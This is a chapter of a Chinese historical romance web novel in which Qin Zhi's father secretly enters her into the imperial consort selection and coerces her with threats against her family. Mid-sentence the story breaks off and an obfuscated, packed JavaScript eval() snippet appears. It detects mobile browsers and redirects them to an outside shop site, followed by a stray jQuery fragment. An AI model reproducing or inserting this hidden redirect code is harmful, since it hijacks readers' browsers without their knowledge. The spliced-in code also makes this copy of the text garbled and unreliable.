王通判望向他。
“王通判，若是小女未被选上，会将如何？”秦父面带疑虑。
听懂秦父所言后，王舵了然一笑：“您大可不必担心此事，令爱的画像一旦递上去，文牒不过半月就能，届时令爱亦可再度许配人家。”
秦父心中暗暗盘算：半个月就可以得到消息，若是不能入选，那秦芝自然进宫做女官，若是侥幸得以入选，岂不是耀秦府门楣，自己和小儿子的前途也无限光明，待‘江聿之’遣人来接时，随便寻个族中女孩充数，做女官哪有成为真正妃嫔来的有用。
下定主意后，秦父应允下来。
…
秦府。
秦芝斜坐，低头读手中信笺。
椅子正对着敞开的木门，今日有深秋里难得的暖意。
读完信笺后，秦芝抬头，正巧看到门外斜角处桂花树，不是夏日里的枝繁叶茂，现如今已是枯枝败叶，簌簌秋风掠过，树下一片残败。
这封信是来自姑苏姨母的回信，秦芝离开秦家后要先去姑苏看望姨母，前些日子她便已经写信去问候。
信中情真意切，读完后，她不免动容。
或许，在这世上，她只剩姨母和舅舅这两个真正的亲人了。
先前去信中，秦芝并未细说母亲当年去世的真相，她想去拜访时亲自述说。
时光匆匆，转眼便是半月之后。
那日，刚过卯时，秦芝便自然苏醒。
她闭着眼，思绪清明，静静等待时间的流逝，等待与晦暗的过往道别。
整个上午，秦芝反反复复检查着包袱。
午时，无人来。
申时，无人来。
直到夜晚子时，亦无人来。
或许并非是今日，毕竟‘一个月’只是个笼统的约定。
秦芝心中默默安慰自己。
可是。
接连七八日，除了县衙衙役来向秦父汇报公务，没有任何人来拜访秦府。
慌张逐渐取代欣喜，在秦芝心中升腾起来。
难道那人转眼间便反悔？可这事对他只是举手之劳。
贵人多忘事，他如何能在意她这种小喽啰。
前几天她已经去信，但她没有那人的更多消息，那信极有可能如石投大海般再无音讯。
这些日子李郎中在外行医，她也只能写信去到李郎中和裴珩那里。
正在陷入困境时，又一个消息如同晴天霹雳般砸向她。
正午。
从县衙赶回来的秦父笑得合不拢嘴：“令姝，你被宫中选中成为妃嫔，不日便可进宫。”
这消息仿佛是从天外飞来，诡异又荒诞。
选中？
宫中？
妃嫔？
什么天大的笑话！
这是什么时候的事情，她怎么完全不知晓？
在她眼中，面前喜气洋洋的秦父身形逐渐扭曲迷幻起来。
秦芝抓着身旁陈旧的木门稳定住身体，定下心神，艰难张口：“父亲，这是什么时候的事情？你怎么没同我说？”
“半个多月前，我将你的画像与身份文牒递交上去，也不过是一赌，没想到真是幸运，这下咱们秦家祖坟真要冒青烟了。”秦父笑着感慨。
“可是，您已经应允我入宫当女官，且江公子不日将来接我，你怎么能如此草率行事，甚至都不曾告知我。”这几天的慌张同时压下，秦芝有些崩溃。
秦父很是理所当然：“我是你父亲，我做什么决定需要征得你同意？这都一个多月过去，那江公子何曾派人来过，或许人家只是随口一言，你真以为选女官这大事，他能一人决定么。”
“可是…他若是有急事，没能准时派人来呢，”秦芝慌不择言，“或者，他的人路上遇到山匪？”
秦芝的声音渐渐低下去，她都难以说服自己，江家那种等级的世家，派来的家仆定武功高强，怎会轻易出事。
秦父哼笑一声，嘲讽着秦芝的天真：“若江聿之的人几日后真能来，届时，寻个族中略懂医术的女子前去即可，反正当时也是口头定下，又不曾过身份文牒。”
“不论如何，我不可能去，几日后，你只能接到一具残尸，当然，到时你也可以找其他族中女子。”秦芝盯着眼前面目可憎的男人，随后转身向外走。
刚走两步，背后传来秦父淡淡的声音，带着威胁：“今早，朝廷来人已经留用你的身份，且画像也已经存留宫中，你知道待入宫的妃嫔自戕或者逃走会受到什么惩罚么？是株连九族，你不在意我和你的弟妹们，但是在姑苏的姨母和舅舅呢，你也不在意么，你真想因为你一人之过而尸横遍野？”
秦芝并未转身，良久，脚步定住。
看到此景，秦父心满意足地缓步离开。
*
当晚，月色如水。
秦芝只穿着一件中衣，环抱着自己，蹲在院内的桂花树下，凝视着面前母亲的衣冠冢。
一阵萧瑟风过，麻木的秦芝并未感觉到寒意，桂花老桩上最后几片残叶落在她单薄的肩上，
恍惚间，她仿佛感觉自己肩上被覆盖什么，并未回头去看。
耳边响起小井关心的声音：“小姐，不管如何，还是身子最要紧，夫人看到您生病也会伤心。”
秦芝口中喃喃，如同梦游一般的声音：“我一直在奢望是么？”
“什么？”
“我本不配拥有那些，不是么？”秦芝眼珠不动，直直盯着一处，白皙颊边有一道水痕。
小井看着秦芝，不知道该劝些什么。
“其实比起最初嫁给梁家傻子，入宫已经再好不过，是许多人都梦寐以求之事，我不该不知足，对不对？”
秦芝仰头看向一旁站着的小井，睁圆无助的桃花眸，脸上一片空白，如同稚子，企图从小井那里得到某种认可。
小井心一软：“小姐，不对的，你曾经教我，甲之蜜糖，乙之砒霜，他人心向往之，不代表你也要心满意足。”
出人意料，听到这话的秦芝并未开心，眼神中仅剩的一点光亮也黯淡下来，自嘲一笑：“是啊，可上天若真如此薄待我，为何先前又给予我莫大希望。”
几点凉意落到秦芝额上。
是雨滴。
她向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706912|208337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前伸出双手，掌心朝上，抬头望天，如同祈雨的天师。
“小姐，下雨了，咱们快点进屋吧。”小井轻声说着。
秦芝沉浸在沉沉思绪中，并未听到小井的声音。
不一会儿，偌大雨滴穿过光秃秃的桂花枝干噼里啪啦落在地上，和两人身上。
冰冷秋雨猛然将秦芝淋醒。
再反应过来，身上已经湿透，头发紧贴着两颊，遍身寒意。
耳侧小井的呼喊声如同从山谷间传来，渐渐清晰。
她才发现遍身湿透的小井一直扯着自己袖子，试图将自己拉起来。
“小井。”
无暇再思考其他，秦芝揽住年龄更小的小井，两人跑进屋内。
两人用温水擦拭后，一同睡下。
第二日。
烈日当空。
秦芝捂着头苏醒过来。
头很痛，同时全身笼罩着一种歇斯底里的疲惫，秦芝叹一口气，转头看向身侧的小井。
昨日小井为陪伴自己，与自己抵足而眠，如今仍在沉睡着。
秦芝顺手用手背触碰小井的额间，却是微热。
愧疚涌上心头，昨夜的冷雨还是让小井起了风寒。
秦芝迅速去煎药，并给小井喂药，半个时辰后，小井才悠悠转醒。
一看到秦芝，小井咧嘴笑：“小姐，你醒了，我去给你备膳。”说罢就要挣扎起身。
秦芝立刻摁住小井，眉头一皱：“你生病了，不要起身，休息即可。”
“小井，抱歉，昨夜我不该那样淋雨，连累你得风寒。”秦芝满腔愧意。
“小姐，没事，小病而已，你今日神色却是好上许多。”
比起前日秦芝整个人魂不附体的可怕模样，今日她的确恢复如常。
“我想通了一些事，昨日我真有一瞬间想过自戕。”秦芝轻笑。
小井面露紧张。
秦芝摆摆手，笑道：“放心，我不会做什么浑事，何况，现如今我的命还牵涉到姨母、舅舅、和族里那么多无辜之人的性命，我会活的比所有人更久，听说那老皇帝年岁已大，说不定，有朝一日我能出宫呢。”秦芝朝着小井眨眨眼。
但两人都知道，这不过是秦芝自我安慰之语。
一入宫门深似海，又怎能轻易离开。
秦芝又开口：“唉，我本想着，你同我一起去苗疆，待我那医馆经营起来时，为你寻个好人家，你若不想嫁人，也可以一辈子和我一起行医济世，现如今，我要进宫了，你我不得不早早分离。”
“小姐，我要和你一起进宫！”小井打断秦芝未尽之语。
“什么？”秦芝惊诧，“可宫中不是什么好去处，你若留下，在你及笈后，我会让父亲放你出府，并给你一笔丰厚的嫁妆，现如今，他会应允的。”
小井摇摇头，坚定道：“小姐，我想作为你的陪嫁丫鬟同你进宫，自我小时被夫人从街上捡来，我与小姐一同长大，我视你和夫人为亲人，现下，我怎么能抛弃我唯一的亲人？”
秦芝看着眼前娃娃脸上一脸认真的小井，愣住，轻叹一口气：“好。”